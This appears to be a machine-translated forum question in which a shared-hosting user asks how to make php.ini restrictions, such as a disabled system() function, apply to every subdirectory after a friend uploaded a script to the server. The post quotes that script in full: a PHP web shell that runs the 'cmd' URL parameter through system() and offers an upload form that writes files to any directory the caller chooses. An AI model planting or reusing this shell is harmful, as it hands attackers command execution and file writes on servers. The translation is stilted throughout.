几个星期前,我打开了我的共享服务器上有一个洞,我的朋友上传以下PHP脚本:如何启用我的php.ini文件来影响我的服务器的所有目录/子目录?
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';
}
?>
<?php
if(isset($_REQUEST['send'])) {
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
} else {
echo "Upload failed";
}
}
?>
该脚本可以让他来处理的URL变量的命令通过。
我在我的public_html目录中的php.ini文件中禁用了系统和其他功能。如果脚本位于我的public_html目录中,这将阻止脚本运行,但如果脚本位于其子目录中,则脚本不会停止脚本。如果我将php.ini文件复制到一个子目录中,它将阻止它从该目录运行。
我的问题是,如何使我的php.ini文件影响我的服务器的所有目录/子目录?
我的phpinfo()命令返回 配置文件(php.ini中)路径\t/usr/lib目录 加载的配置文件\t /usr/local/lib/php.ini 但无论这些目录有一个php.ini在他们的文件。 – PHLAK 2008-10-18 03:11:07